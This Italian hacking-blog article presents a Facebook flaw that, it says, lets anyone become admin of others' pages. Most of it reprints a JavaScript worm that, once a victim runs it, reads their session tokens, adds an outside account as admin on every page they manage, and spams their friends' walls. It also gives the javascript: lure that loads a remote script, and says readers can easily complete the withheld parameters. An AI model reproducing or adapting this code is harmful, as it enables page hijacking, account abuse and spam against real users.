Articoli speciali Hacking

Sicurezza di Facebook violata: Come diventare amministratori di qualsiasi pagina

Potrebbe sembrare uno scherzo, ma non lo è. Facebook da un po’ di tempo a questa parte soffre di una grave falla che permette a chiunque di diventare amministratore di qualsiasi pagina. E già si possono immaginare i risultati di tutto ciò. Non mi credete? Continuate a leggere questo articolo e probabilmente tra qualche minuto andrete a controllare bene chi è inserito all’interno degli amministratori della vostra pagina.

Partiamo prima di tutto con calma: la falla che vi sto presentare si attiva nel momento in cui un ignaro utente effettua un click all’interno di un link ben “programmato”, quindi c’è sempre la salvezza per chiunque di usare un po’ il proprio cervello e di evitare di premere link a caso. Detto ciò entriamo nel vivo.
Ho pubblicato qualche ora un articolo dove illustravo la scomparsa dei bottoni “Commenta” e “Mi Piace” su Facebook. Da ciò è nata una piccola discussione all’interno dei commenti tra me e Matteo, il quale ha iniziato a sostenere che esiste uno script per far si che chiunque possa diventare amministratore di qualsiasi pagina. Con mio grande stupore gli ho chiesto quindi maggiori informazioni ed immediatamente lui ha deciso di mandarmi una email con tutto ciò che sapeva (se non è spirito Hacking questo! 🙂 ).

A questo punto non credevo ai miei occhi. Decido quindi di entrare su Facebook con un mio account secondario, creare una pagina e premere sul link che mi ha mandato… Dopo pochi istanti le mie pupille si sono dilatate davanti a ciò che stavo vedendo davanti al monitor del mio computer: un utente a me sconosciuto era diventato amministratore della pagina appena creata e di altre pagine che avevo creato in passato.
Pochi istanti dopo mi sono precipitato all’interno del codice sorgente Js a cui rimandava il link semi-nascosto con bit.ly per analizzarlo con calma. E’ bastata una velocissima analisi per capire che mi sarebbe bastato modificare qualche parametro per essere io stesso l’artefice di questo attacco e per impossessarmi in pochissimi istanti di centinaia di pagine.

[php]//These are to be posted as status messages
txt = "This is me";
txtee = "… ;)";

alert("Please Wait 15 Seconds ! ");
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

if (x.readyState == 4 && x.status == 200) {
z=x.responseText;
//comp = z.match(/name="UIComposer_STATE_PIC_OUTSIDE" value="([\d\w]+)"/i)[1];
// comp = x.responseText.match(/name="UIComposer_STATE_PIC_OUTSIDE" id="([\d\w]+)"/i)[1];
form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];

with(xx = new XMLHttpRequest())
open("GET", "/ajax/browser/friends/?uid=" +
document.cookie.match(/c_user=(\d+)/)[1] +
"&filter=all&__a=1&__d=1"),
onreadystatechange = function () {
//extracts list of friends

if (xx.readyState == 4 && xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
//facebook returns list of friends images of the form of three numbers separated by _,
//the above regular expression extracts out the middle of the two
//(which infact is the userID of friend)
i = 0;
llimit=25;
t = setInterval(function () {
if (i >= llimit )
return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
if(i == 0) {//do it only once
with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
setRequestHeader("X-Requested-With", null),
setRequestHeader("X-Requested", null),
onreadystatechange = function() {
if(ddddd.readyState == 4 && ddddd.status == 200) {
llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
j=0;
for(j=0;j<len;j++) {
with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
"&friendselector_input%5B%5D=LOL%40LOL.it%09&friend_selected%5B%5D=&save=1");
//I am not very sure on this one but it seems it adds as admin of all pages the user holds
}
}
}, send(null); //end of function to change the admins

// this one collects cookie as well as the personalized status update email address
// (a photo sent to that address is posted on the wall directly)

}

//following code does status update
//the code writes message represented by txt and txtee alternately on the wall of friends.
//txt and txtee are same though (may be author’s mistake)
if(i%2==0)
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
"&target_id=" + m[Math.floor(Math.random() * m.length)] +
//m is an array of id of friends (was created early in the script exec), choose a random friend
"&composer_id=" +
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
//comp, form, dt are (probably) XSRF prevention tokens
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
else
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
"&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id="+
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
i += 1;
}, 2000);// 2000 milli-sec window, after which the script is executed again
}

}, send(null);
}
}, send(null);
[/php]

Qui sopra vi riporto il codice che ho trovato all’interno di questo Js. Per evitare che qualche lamer-ragazzino ci possa mettere sopra le mani non vi spigherò come funziona e inoltre ho cancellato la zona in cui bisogna inserire i parametri dell’account che vogliamo rendere amministratore. Vi ricordo inoltre che la stringa da inviare ai vari utenti di cui vogliamo impossessarci le pagine è il seguente:

[php] javascript:(a = (b = document).createElement("script")).src = "http://tuolink", b.body.appendChild(a); void(0)
[/php]

Con un po’ di buona volontà chiunque può risolvere questo piccolo problema, insomma… Dopotutto Google serve anche a questo 🙂

Lascia un commento

105 commenti

  • a me hanno tolto i privilegi di amministratore dalla mia pagina di Facebook e io volevo recuperarli sapresti dirmi come grazie

Prima di continuare, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!

FERMO! Prima di uscire, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!